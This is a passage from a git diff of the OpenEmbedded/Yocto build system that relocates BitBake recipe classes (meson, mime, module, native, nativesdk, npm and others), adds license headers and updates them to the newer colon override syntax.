+
+meson_do_configure() {
+ # Meson requires this to be 'bfd, 'lld' or 'gold' from 0.53 onwards
+ # https://github.com/mesonbuild/meson/commit/ef9aeb188ea2bc7353e59916c18901cde90fa2b3
+ unset LD
+
+ bbnote Executing meson ${EXTRA_OEMESON}...
+ if ! meson setup ${MESONOPTS} "${MESON_SOURCEPATH}" "${B}" ${MESON_CROSS_FILE} ${EXTRA_OEMESON}; then
+ bbfatal_log meson failed
+ fi
+}
+
+python meson_do_qa_configure() {
+ import re
+ warn_re = re.compile(r"^WARNING: Cross property (.+) is using default value (.+)$", re.MULTILINE)
+ with open(d.expand("${B}/meson-logs/meson-log.txt")) as logfile:
+ log = logfile.read()
+ for (prop, value) in warn_re.findall(log):
+ bb.warn("Meson cross property %s used without explicit assignment, defaulting to %s" % (prop, value))
+}
+do_configure[postfuncs] += "meson_do_qa_configure"
+
+do_compile[progress] = "outof:^\[(\d+)/(\d+)\]\s+"
+meson_do_compile() {
+ meson compile -v ${PARALLEL_MAKE} ${MESON_TARGET}
+}
+
+meson_do_install() {
+ meson install --destdir ${D} --no-rebuild
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes/mime-xdg.bbclass b/meta/classes-recipe/mime-xdg.bbclass
index 642a5b7595..cbdcb4c7e9 100644
--- a/meta/classes/mime-xdg.bbclass
+++ b/meta/classes-recipe/mime-xdg.bbclass
@@ -1,4 +1,8 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
# This class creates mime <-> application associations based on entry
# 'MimeType' in *.desktop files
#
@@ -34,7 +38,7 @@ else
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
desktop_base = d.getVar('DESKTOPDIR')
@@ -59,16 +63,16 @@ python populate_packages_append () {
break
if desktops_with_mime_found:
bb.note("adding mime-xdg postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('mime_xdg_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('mime_xdg_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
bb.note("adding desktop-file-utils dependency to %s" % pkg)
- d.appendVar('RDEPENDS_' + pkg, " " + d.getVar('MLPREFIX')+"desktop-file-utils")
+ d.appendVar('RDEPENDS:' + pkg, " " + d.getVar('MLPREFIX')+"desktop-file-utils")
}
diff --git a/meta/classes/mime.bbclass b/meta/classes-recipe/mime.bbclass
index bb99bc35cb..9b13f62bda 100644
--- a/meta/classes/mime.bbclass
+++ b/meta/classes-recipe/mime.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# This class is used by recipes installing mime types
#
@@ -39,7 +45,7 @@ fi
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
mimedir = d.getVar('MIMEDIR')
@@ -54,17 +60,17 @@ python populate_packages_append () {
break
if mimes_types_found:
bb.note("adding mime postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('mime_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('mime_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
if pkg != 'shared-mime-info-data':
bb.note("adding shared-mime-info-data dependency to %s" % pkg)
- d.appendVar('RDEPENDS_' + pkg, " " + d.getVar('MLPREFIX')+"shared-mime-info-data")
+ d.appendVar('RDEPENDS:' + pkg, " " + d.getVar('MLPREFIX')+"shared-mime-info-data")
}
diff --git a/meta/classes/module-base.bbclass b/meta/classes-recipe/module-base.bbclass
index 27bd69ff33..2a225881ba 100644
--- a/meta/classes/module-base.bbclass
+++ b/meta/classes-recipe/module-base.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit kernel-arch
# We do the dependency this way because the output is not preserved
@@ -14,6 +20,7 @@ export CROSS_COMPILE = "${TARGET_PREFIX}"
export KBUILD_OUTPUT = "${STAGING_KERNEL_BUILDDIR}"
export KERNEL_VERSION = "${@oe.utils.read_file('${STAGING_KERNEL_BUILDDIR}/kernel-abiversion')}"
+export LOCALVERSION = "${@oe.utils.read_file('${STAGING_KERNEL_BUILDDIR}/kernel-localversion')}"
KERNEL_OBJECT_SUFFIX = ".ko"
# kernel modules are generally machine specific
diff --git a/meta/classes/module.bbclass b/meta/classes-recipe/module.bbclass
index c0dfa35061..f2f0b25a2d 100644
--- a/meta/classes/module.bbclass
+++ b/meta/classes-recipe/module.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit module-base kernel-module-split pkgconfig
EXTRA_OEMAKE += "KERNEL_SRC=${STAGING_KERNEL_DIR}"
@@ -14,7 +20,11 @@ python __anonymous () {
d.setVar('KBUILD_EXTRA_SYMBOLS', " ".join(extra_symbols))
}
-python do_devshell_prepend () {
+python do_package:prepend () {
+ os.environ['STRIP'] = d.getVar('KERNEL_STRIP')
+}
+
+python do_devshell:prepend () {
os.environ['CFLAGS'] = ''
os.environ['CPPFLAGS'] = ''
os.environ['CXXFLAGS'] = ''
@@ -26,6 +36,8 @@ python do_devshell_prepend () {
os.environ['CC'] = d.getVar('KERNEL_CC')
os.environ['LD'] = d.getVar('KERNEL_LD')
os.environ['AR'] = d.getVar('KERNEL_AR')
+ os.environ['OBJCOPY'] = d.getVar('KERNEL_OBJCOPY')
+ os.environ['STRIP'] = d.getVar('KERNEL_STRIP')
os.environ['O'] = d.getVar('STAGING_KERNEL_BUILDDIR')
kbuild_extra_symbols = d.getVar('KBUILD_EXTRA_SYMBOLS')
if kbuild_extra_symbols:
@@ -39,7 +51,8 @@ module_do_compile() {
oe_runmake KERNEL_PATH=${STAGING_KERNEL_DIR} \
KERNEL_VERSION=${KERNEL_VERSION} \
CC="${KERNEL_CC}" LD="${KERNEL_LD}" \
- AR="${KERNEL_AR}" \
+ AR="${KERNEL_AR}" OBJCOPY="${KERNEL_OBJCOPY}" \
+ STRIP="${KERNEL_STRIP}" \
O=${STAGING_KERNEL_BUILDDIR} \
KBUILD_EXTRA_SYMBOLS="${KBUILD_EXTRA_SYMBOLS}" \
${MAKE_TARGETS}
@@ -49,7 +62,8 @@ module_do_install() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
oe_runmake DEPMOD=echo MODLIB="${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION}" \
INSTALL_FW_PATH="${D}${nonarch_base_libdir}/firmware" \
- CC="${KERNEL_CC}" LD="${KERNEL_LD}" \
+ CC="${KERNEL_CC}" LD="${KERNEL_LD}" OBJCOPY="${KERNEL_OBJCOPY}" \
+ STRIP="${KERNEL_STRIP}" \
O=${STAGING_KERNEL_BUILDDIR} \
${MODULES_INSTALL_TARGET}
@@ -70,5 +84,5 @@ EXPORT_FUNCTIONS do_compile do_install
# add all splitted modules to PN RDEPENDS, PN can be empty now
KERNEL_MODULES_META_PACKAGE = "${PN}"
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/classes/multilib_header.bbclass b/meta/classes-recipe/multilib_header.bbclass
index e03f5b13b2..33f7e027f0 100644
--- a/meta/classes/multilib_header.bbclass
+++ b/meta/classes-recipe/multilib_header.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit siteinfo
# If applicable on the architecture, this routine will rename the header and
@@ -42,11 +48,11 @@ oe_multilib_header() {
# Dependencies on arch variables like MIPSPKGSFX_ABI can be problematic.
# We don't need multilib headers for native builds so brute force things.
-oe_multilib_header_class-native () {
+oe_multilib_header:class-native () {
return
}
# Nor do we need multilib headers for nativesdk builds.
-oe_multilib_header_class-nativesdk () {
+oe_multilib_header:class-nativesdk () {
return
}
diff --git a/meta/classes-recipe/multilib_script.bbclass b/meta/classes-recipe/multilib_script.bbclass
new file mode 100644
index 0000000000..e6f0249529
--- /dev/null
+++ b/meta/classes-recipe/multilib_script.bbclass
@@ -0,0 +1,41 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
+# Recipe needs to set MULTILIB_SCRIPTS in the form <pkgname>:<scriptname>, e.g.
+# MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/file1 ${PN}:${base_bindir}/file2"
+# to indicate which script files to process from which packages.
+#
+
+inherit update-alternatives
+
+MULTILIB_SUFFIX = "${@d.getVar('base_libdir',1).split('/')[-1]}"
+
+PACKAGE_PREPROCESS_FUNCS += "multilibscript_rename"
+
+multilibscript_rename() {
+ :
+}
+
+python () {
+ # Do nothing if multilib isn't being used
+ if not d.getVar("MULTILIB_VARIANTS"):
+ return
+ # Do nothing for native/cross
+ if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross', d):
+ return
+
+ for entry in (d.getVar("MULTILIB_SCRIPTS", False) or "").split():
+ pkg, script = entry.split(":")
+ epkg = d.expand(pkg)
+ escript = d.expand(script)
+ scriptname = os.path.basename(escript)
+ d.appendVar("ALTERNATIVE:" + epkg, " " + scriptname + " ")
+ d.setVarFlag("ALTERNATIVE_LINK_NAME", scriptname, escript)
+ d.setVarFlag("ALTERNATIVE_TARGET", scriptname, escript + "-${MULTILIB_SUFFIX}")
+ d.appendVar("multilibscript_rename", "\n mv ${PKGD}" + escript + " ${PKGD}" + escript + "-${MULTILIB_SUFFIX}")
+ d.appendVar("FILES:" + epkg, " " + escript + "-${MULTILIB_SUFFIX}")
+}
diff --git a/meta/classes-recipe/native.bbclass b/meta/classes-recipe/native.bbclass
new file mode 100644
index 0000000000..84a3ec65da
--- /dev/null
+++ b/meta/classes-recipe/native.bbclass
@@ -0,0 +1,239 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# We want native packages to be relocatable
+inherit relocatable
+
+# Native packages are built indirectly via dependency,
+# no need for them to be a direct target of 'world'
+EXCLUDE_FROM_WORLD = "1"
+
+PACKAGE_ARCH = "${BUILD_ARCH}"
+
+# used by cmake class
+OECMAKE_RPATH = "${libdir}"
+OECMAKE_RPATH:class-native = "${libdir}"
+
+TARGET_ARCH = "${BUILD_ARCH}"
+TARGET_OS = "${BUILD_OS}"
+TARGET_VENDOR = "${BUILD_VENDOR}"
+TARGET_PREFIX = "${BUILD_PREFIX}"
+TARGET_CC_ARCH = "${BUILD_CC_ARCH}"
+TARGET_LD_ARCH = "${BUILD_LD_ARCH}"
+TARGET_AS_ARCH = "${BUILD_AS_ARCH}"
+TARGET_CPPFLAGS = "${BUILD_CPPFLAGS}"
+TARGET_CFLAGS = "${BUILD_CFLAGS}"
+TARGET_CXXFLAGS = "${BUILD_CXXFLAGS}"
+TARGET_LDFLAGS = "${BUILD_LDFLAGS}"
+TARGET_FPU = ""
+TUNE_FEATURES = ""
+ABIEXTENSION = ""
+
+HOST_ARCH = "${BUILD_ARCH}"
+HOST_OS = "${BUILD_OS}"
+HOST_VENDOR = "${BUILD_VENDOR}"
+HOST_PREFIX = "${BUILD_PREFIX}"
+HOST_CC_ARCH = "${BUILD_CC_ARCH}"
+HOST_LD_ARCH = "${BUILD_LD_ARCH}"
+HOST_AS_ARCH = "${BUILD_AS_ARCH}"
+
+CPPFLAGS = "${BUILD_CPPFLAGS}"
+CFLAGS = "${BUILD_CFLAGS}"
+CXXFLAGS = "${BUILD_CXXFLAGS}"
+LDFLAGS = "${BUILD_LDFLAGS}"
+
+STAGING_BINDIR = "${STAGING_BINDIR_NATIVE}"
+STAGING_BINDIR_CROSS = "${STAGING_BINDIR_NATIVE}"
+
+# native pkg doesn't need the TOOLCHAIN_OPTIONS.
+TOOLCHAIN_OPTIONS = ""
+
+# Don't build ptest natively
+PTEST_ENABLED = "0"
+
+# Don't use site files for native builds
+export CONFIG_SITE = "${COREBASE}/meta/site/native"
+
+# set the compiler as well. It could have been set to something else
+export CC = "${BUILD_CC}"
+export CXX = "${BUILD_CXX}"
+export FC = "${BUILD_FC}"
+export CPP = "${BUILD_CPP}"
+export LD = "${BUILD_LD}"
+export CCLD = "${BUILD_CCLD}"
+export AR = "${BUILD_AR}"
+export AS = "${BUILD_AS}"
+export RANLIB = "${BUILD_RANLIB}"
+export STRIP = "${BUILD_STRIP}"
+export NM = "${BUILD_NM}"
+
+# Path prefixes
+base_prefix = "${STAGING_DIR_NATIVE}"
+prefix = "${STAGING_DIR_NATIVE}${prefix_native}"
+exec_prefix = "${STAGING_DIR_NATIVE}${prefix_native}"
+
+bindir = "${STAGING_BINDIR_NATIVE}"
+sbindir = "${STAGING_SBINDIR_NATIVE}"
+base_libdir = "${STAGING_BASE_LIBDIR_NATIVE}"
+libdir = "${STAGING_LIBDIR_NATIVE}"
+includedir = "${STAGING_INCDIR_NATIVE}"
+sysconfdir = "${STAGING_ETCDIR_NATIVE}"
+datadir = "${STAGING_DATADIR_NATIVE}"
+
+baselib = "lib"
+
+export lt_cv_sys_lib_dlsearch_path_spec = "${libdir} ${base_libdir} /lib /lib64 /usr/lib /usr/lib64"
+
+NATIVE_PACKAGE_PATH_SUFFIX ?= ""
+bindir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
+sbindir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
+base_libdir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
+libdir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
+libexecdir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
+
+do_populate_sysroot[sstate-inputdirs] = "${SYSROOT_DESTDIR}/${STAGING_DIR_NATIVE}/"
+do_populate_sysroot[sstate-outputdirs] = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/${PN}"
+
+# Since we actually install these into situ there is no staging prefix
+STAGING_DIR_HOST = ""
+STAGING_DIR_TARGET = ""
+PKG_CONFIG_DIR = "${libdir}/pkgconfig"
+
+EXTRA_NATIVE_PKGCONFIG_PATH ?= ""
+PKG_CONFIG_PATH .= "${EXTRA_NATIVE_PKGCONFIG_PATH}"
+PKG_CONFIG_SYSROOT_DIR = ""
+PKG_CONFIG_SYSTEM_LIBRARY_PATH[unexport] = "1"
+PKG_CONFIG_SYSTEM_INCLUDE_PATH[unexport] = "1"
+
+# we dont want libc-*libc to kick in for native recipes
+LIBCOVERRIDE = ""
+CLASSOVERRIDE = "class-native"
+MACHINEOVERRIDES = ""
+MACHINE_FEATURES = ""
+
+PATH:prepend = "${COREBASE}/scripts/native-intercept:"
+
+# This class encodes staging paths into its scripts data so can only be
+# reused if we manipulate the paths.
+SSTATE_SCAN_CMD ?= "${SSTATE_SCAN_CMD_NATIVE}"
+
+# No strip sysroot when DEBUG_BUILD is enabled
+INHIBIT_SYSROOT_STRIP ?= "${@oe.utils.vartrue('DEBUG_BUILD', '1', '', d)}"
+
+python native_virtclass_handler () {
+ pn = e.data.getVar("PN")
+ if not pn.endswith("-native"):
+ return
+ bpn = e.data.getVar("BPN")
+
+ # Set features here to prevent appends and distro features backfill
+ # from modifying native distro features
+ features = set(d.getVar("DISTRO_FEATURES_NATIVE").split())
+ filtered = set(bb.utils.filter("DISTRO_FEATURES", d.getVar("DISTRO_FEATURES_FILTER_NATIVE"), d).split())
+ d.setVar("DISTRO_FEATURES", " ".join(sorted(features | filtered)))
+
+ classextend = e.data.getVar('BBCLASSEXTEND') or ""
+ if "native" not in classextend:
+ return
+
+ def map_dependencies(varname, d, suffix = "", selfref=True, regex=False):
+ if suffix:
+ varname = varname + ":" + suffix
+ deps = d.getVar(varname)
+ if not deps:
+ return
+ deps = bb.utils.explode_deps(deps)
+ newdeps = []
+ for dep in deps:
+ if regex and dep.startswith("^") and dep.endswith("$"):
+ newdeps.append(dep[:-1].replace(pn, bpn) + "-native$")
+ elif dep == pn:
+ if not selfref:
+ continue
+ newdeps.append(dep)
+ elif "-cross-" in dep:
+ newdeps.append(dep.replace("-cross", "-native"))
+ elif not dep.endswith("-native"):
+ # Replace ${PN} with ${BPN} in the dependency to make sure
+ # dependencies on, e.g., ${PN}-foo become ${BPN}-foo-native
+ # rather than ${BPN}-native-foo-native.
+ newdeps.append(dep.replace(pn, bpn) + "-native")
+ else:
+ newdeps.append(dep)
+ d.setVar(varname, " ".join(newdeps))
+
+ map_dependencies("DEPENDS", e.data, selfref=False)
+ for pkg in e.data.getVar("PACKAGES", False).split():
+ map_dependencies("RDEPENDS", e.data, pkg)
+ map_dependencies("RRECOMMENDS", e.data, pkg)
+ map_dependencies("RSUGGESTS", e.data, pkg)
+ map_dependencies("RPROVIDES", e.data, pkg)
+ map_dependencies("RREPLACES", e.data, pkg)
+ map_dependencies("PACKAGES", e.data)
+ map_dependencies("PACKAGES_DYNAMIC", e.data, regex=True)
+
+ provides = e.data.getVar("PROVIDES")
+ nprovides = []
+ for prov in provides.split():
+ if prov.find(pn) != -1:
+ nprovides.append(prov)
+ elif not prov.endswith("-native"):
+ nprovides.append(prov + "-native")
+ else:
+ nprovides.append(prov)
+ e.data.setVar("PROVIDES", ' '.join(nprovides))
+
+
+}
+
+addhandler native_virtclass_handler
+native_virtclass_handler[eventmask] = "bb.event.RecipePreFinalise"
+
+python do_addto_recipe_sysroot () {
+ bb.build.exec_func("extend_recipe_sysroot", d)
+}
+addtask addto_recipe_sysroot after do_populate_sysroot
+do_addto_recipe_sysroot[deptask] = "do_populate_sysroot"
+
+inherit nopackages
+
+do_packagedata[stamp-extra-info] = ""
+
+USE_NLS = "no"
+
+RECIPERDEPTASK = "do_populate_sysroot"
+do_populate_sysroot[rdeptask] = "${RECIPERDEPTASK}"
+
+#
+# Native task outputs are directly run on the target (host) system after being
+# built. Even if the output of this recipe doesn't change, a change in one of
+# its dependencies may cause a change in the output it generates (e.g. rpm
+# output depends on the output of its dependent zstd library).
+#
+# This can cause poor interactions with hash equivalence, since this recipes
+# output-changing dependency is "hidden" and downstream task only see that this
+# recipe has the same outhash and therefore is equivalent. This can result in
+# different output in different cases.
+#
+# To resolve this, unhide the output-changing dependency by adding its unihash
+# to this tasks outhash calculation. Unfortunately, don't know specifically
+# know which dependencies are output-changing, so we have to add all of them.
+#
+python native_add_do_populate_sysroot_deps () {
+ current_task = "do_" + d.getVar("BB_CURRENTTASK")
+ if current_task != "do_populate_sysroot":
+ return
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ pn = d.getVar("PN")
+ deps = {
+ dep[0]:dep[6] for dep in taskdepdata.values() if
+ dep[1] == current_task and dep[0] != pn
+ }
+
+ d.setVar("HASHEQUIV_EXTRA_SIGDATA", "\n".join("%s: %s" % (k, deps[k]) for k in sorted(deps.keys())))
+}
+SSTATECREATEFUNCS += "native_add_do_populate_sysroot_deps"
diff --git a/meta/classes/nativesdk.bbclass b/meta/classes-recipe/nativesdk.bbclass
index 7f2692c51a..de6debda93 100644
--- a/meta/classes/nativesdk.bbclass
+++ b/meta/classes-recipe/nativesdk.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# SDK packages are built either explicitly by the user,
# or indirectly via dependency. No need to be in 'world'.
EXCLUDE_FROM_WORLD = "1"
@@ -9,7 +15,10 @@ NATIVESDKLIBC ?= "libc-glibc"
LIBCOVERRIDE = ":${NATIVESDKLIBC}"
CLASSOVERRIDE = "class-nativesdk"
MACHINEOVERRIDES = ""
-MACHINE_FEATURES = ""
+
+MACHINE_FEATURES = "${SDK_MACHINE_FEATURES}"
+DISTRO_FEATURES_BACKFILL = ""
+MACHINE_FEATURES_BACKFILL = ""
MULTILIBS = ""
@@ -28,10 +37,10 @@ PACKAGE_ARCHS = "${SDK_PACKAGE_ARCHS}"
# We need chrpath >= 0.14 to ensure we can deal with 32 and 64 bit
# binaries
#
-DEPENDS_append = " chrpath-replacement-native"
+DEPENDS:append = " chrpath-replacement-native"
EXTRANATIVEPATH += "chrpath-native"
-PKGDATA_DIR = "${TMPDIR}/pkgdata/${SDK_SYS}"
+PKGDATA_DIR = "${PKGDATA_DIR_SDK}"
HOST_ARCH = "${SDK_ARCH}"
HOST_VENDOR = "${SDK_VENDOR}"
@@ -55,6 +64,7 @@ TARGET_CXXFLAGS = "${BUILDSDK_CXXFLAGS}"
TARGET_LDFLAGS = "${BUILDSDK_LDFLAGS}"
TARGET_FPU = ""
EXTRA_OECONF_GCC_FLOAT = ""
+TUNE_FEATURES = ""
CPPFLAGS = "${BUILDSDK_CPPFLAGS}"
CFLAGS = "${BUILDSDK_CFLAGS}"
@@ -113,3 +123,5 @@ do_packagedata[stamp-extra-info] = ""
USE_NLS = "${SDKUSE_NLS}"
OLDEST_KERNEL = "${SDK_OLDEST_KERNEL}"
+
+PATH:prepend = "${COREBASE}/scripts/nativesdk-intercept:"
diff --git a/meta/classes/nopackages.bbclass b/meta/classes-recipe/nopackages.bbclass
index 559f5078bd..9ea7273530 100644
--- a/meta/classes/nopackages.bbclass
+++ b/meta/classes-recipe/nopackages.bbclass
@@ -1,7 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
deltask do_package
deltask do_package_write_rpm
deltask do_package_write_ipk
deltask do_package_write_deb
+deltask do_package_write_tar
deltask do_package_qa
deltask do_packagedata
deltask do_package_setscene
diff --git a/meta/classes-recipe/npm.bbclass b/meta/classes-recipe/npm.bbclass
new file mode 100644
index 0000000000..91da3295f2
--- /dev/null
+++ b/meta/classes-recipe/npm.bbclass
@@ -0,0 +1,352 @@
+# Copyright (C) 2020 Savoir-Faire Linux
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+# This bbclass builds and installs an npm package to the target. The package
+# sources files should be fetched in the calling recipe by using the SRC_URI
+# variable. The ${S} variable should be updated depending of your fetcher.
+#
+# Usage:
+# SRC_URI = "..."
+# inherit npm
+#
+# Optional variables:
+# NPM_ARCH:
+# Override the auto generated npm architecture.
+#
+# NPM_INSTALL_DEV:
+# Set to 1 to also install devDependencies.
+
+inherit python3native
+
+DEPENDS:prepend = "nodejs-native nodejs-oe-cache-native "
+RDEPENDS:${PN}:append:class-target = " nodejs"
+
+EXTRA_OENPM = ""
+
+NPM_INSTALL_DEV ?= "0"
+
+NPM_NODEDIR ?= "${RECIPE_SYSROOT_NATIVE}${prefix_native}"
+
+## must match mapping in nodejs.bb (openembedded-meta)
+def map_nodejs_arch(a, d):
+ import re
+
+ if re.match('i.86$', a): return 'ia32'
+ elif re.match('x86_64$', a): return 'x64'
+ elif re.match('aarch64$', a): return 'arm64'
+ elif re.match('(powerpc64|powerpc64le|ppc64le)$', a): return 'ppc64'
+ elif re.match('powerpc$', a): return 'ppc'
+ return a
+
+NPM_ARCH ?= "${@map_nodejs_arch(d.getVar("TARGET_ARCH"), d)}"
+
+NPM_PACKAGE = "${WORKDIR}/npm-package"
+NPM_CACHE = "${WORKDIR}/npm-cache"
+NPM_BUILD = "${WORKDIR}/npm-build"
+NPM_REGISTRY = "${WORKDIR}/npm-registry"
+
+def npm_global_configs(d):
+ """Get the npm global configuration"""
+ configs = []
+ # Ensure no network access is done
+ configs.append(("offline", "true"))
+ configs.append(("proxy", "http://invalid"))
+ configs.append(("fund", False))
+ configs.append(("audit", False))
+ # Configure the cache directory
+ configs.append(("cache", d.getVar("NPM_CACHE")))
+ return configs
+
+## 'npm pack' runs 'prepare' and 'prepack' scripts. Support for
+## 'ignore-scripts' which prevents this behavior has been removed
+## from nodejs 16. Use simple 'tar' instead of.
+def npm_pack(env, srcdir, workdir):
+ """Emulate 'npm pack' on a specified directory"""
+ import subprocess
+ import os
+ import json
+
+ src = os.path.join(srcdir, 'package.json')
+ with open(src) as f:
+ j = json.load(f)
+
+ # base does not really matter and is for documentation purposes
+ # only. But the 'version' part must exist because other parts of
+ # the bbclass rely on it.
+ base = j['name'].split('/')[-1]
+ tarball = os.path.join(workdir, "%s-%s.tgz" % (base, j['version']));
+
+ # TODO: real 'npm pack' does not include directories while 'tar'
+ # does. But this does not seem to matter...
+ subprocess.run(['tar', 'czf', tarball,
+ '--exclude', './node-modules',
+ '--exclude-vcs',
+ '--transform', r's,^\./,package/,',
+ '--mtime', '1985-10-26T08:15:00.000Z',
+ '.'],
+ check = True, cwd = srcdir)
+
+ return (tarball, j)
+
+python npm_do_configure() {
+ """
+ Step one: configure the npm cache and the main npm package
+
+ Every dependencies have been fetched and patched in the source directory.
+ They have to be packed (this remove unneeded files) and added to the npm
+ cache to be available for the next step.
+
+ The main package and its associated manifest file and shrinkwrap file have
+ to be configured to take into account these cached dependencies.
+ """
+ import base64
+ import copy
+ import json
+ import re
+ import shlex
+ import stat
+ import tempfile
+ from bb.fetch2.npm import NpmEnvironment
+ from bb.fetch2.npm import npm_unpack
+ from bb.fetch2.npm import npm_package
+ from bb.fetch2.npmsw import foreach_dependencies
+ from bb.progress import OutOfProgressHandler
+ from oe.npm_registry import NpmRegistry
+
+ bb.utils.remove(d.getVar("NPM_CACHE"), recurse=True)
+ bb.utils.remove(d.getVar("NPM_PACKAGE"), recurse=True)
+
+ env = NpmEnvironment(d, configs=npm_global_configs(d))
+ registry = NpmRegistry(d.getVar('NPM_REGISTRY'), d.getVar('NPM_CACHE'))
+
+ def _npm_cache_add(tarball, pkg):
+ """Add tarball to local registry and register it in the
+ cache"""
+ registry.add_pkg(tarball, pkg)
+
+ def _npm_integrity(tarball):
+ """Return the npm integrity of a specified tarball"""
+ sha512 = bb.utils.sha512_file(tarball)
+ return "sha512-" + base64.b64encode(bytes.fromhex(sha512)).decode()
+
+ # Manage the manifest file and shrinkwrap files
+ orig_manifest_file = d.expand("${S}/package.json")
+ orig_shrinkwrap_file = d.expand("${S}/npm-shrinkwrap.json")
+ cached_manifest_file = d.expand("${NPM_PACKAGE}/package.json")
+ cached_shrinkwrap_file = d.expand("${NPM_PACKAGE}/npm-shrinkwrap.json")
+
+ with open(orig_manifest_file, "r") as f:
+ orig_manifest = json.load(f)
+
+ cached_manifest = copy.deepcopy(orig_manifest)
+ cached_manifest.pop("dependencies", None)
+ cached_manifest.pop("devDependencies", None)
+
+ has_shrinkwrap_file = True
+
+ try:
+ with open(orig_shrinkwrap_file, "r") as f:
+ orig_shrinkwrap = json.load(f)
+ except IOError:
+ has_shrinkwrap_file = False
+
+ if has_shrinkwrap_file:
+ cached_shrinkwrap = copy.deepcopy(orig_shrinkwrap)
+ for package in orig_shrinkwrap["packages"]:
+ if package != "":
+ cached_shrinkwrap["packages"].pop(package, None)
+ cached_shrinkwrap["packages"][""].pop("dependencies", None)
+ cached_shrinkwrap["packages"][""].pop("devDependencies", None)
+ cached_shrinkwrap["packages"][""].pop("peerDependencies", None)
+
+ # Manage the dependencies
+ progress = OutOfProgressHandler(d, r"^(\d+)/(\d+)$")
+ progress_total = 1 # also count the main package
+ progress_done = 0
+
+ def _count_dependency(name, params, destsuffix):
+ nonlocal progress_total
+ progress_total += 1
+
+ def _cache_dependency(name, params, destsuffix):
+ with tempfile.TemporaryDirectory() as tmpdir:
+ # Add the dependency to the npm cache
+ destdir = os.path.join(d.getVar("S"), destsuffix)
+ (tarball, pkg) = npm_pack(env, destdir, tmpdir)
+ _npm_cache_add(tarball, pkg)
+ # Add its signature to the cached shrinkwrap
+ dep = params
+ dep["version"] = pkg['version']
+ dep["integrity"] = _npm_integrity(tarball)
+ if params.get("dev", False):
+ dep["dev"] = True
+ if "devDependencies" not in cached_shrinkwrap["packages"][""]:
+ cached_shrinkwrap["packages"][""]["devDependencies"] = {}
+ cached_shrinkwrap["packages"][""]["devDependencies"][name] = pkg['version']
+
+ else:
+ if "dependencies" not in cached_shrinkwrap["packages"][""]:
+ cached_shrinkwrap["packages"][""]["dependencies"] = {}
+ cached_shrinkwrap["packages"][""]["dependencies"][name] = pkg['version']
+
+ cached_shrinkwrap["packages"][destsuffix] = dep
+ # Display progress
+ nonlocal progress_done
+ progress_done += 1
+ progress.write("%d/%d" % (progress_done, progress_total))
+
+ dev = bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False)
+
+ if has_shrinkwrap_file:
+ foreach_dependencies(orig_shrinkwrap, _count_dependency, dev)
+ foreach_dependencies(orig_shrinkwrap, _cache_dependency, dev)
+
+ # Manage Peer Dependencies
+ if has_shrinkwrap_file:
+ packages = orig_shrinkwrap.get("packages", {})
+ peer_deps = packages.get("", {}).get("peerDependencies", {})
+ package_runtime_dependencies = d.getVar("RDEPENDS:%s" % d.getVar("PN"))
+
+ for peer_dep in peer_deps:
+ peer_dep_yocto_name = npm_package(peer_dep)
+ if peer_dep_yocto_name not in package_runtime_dependencies:
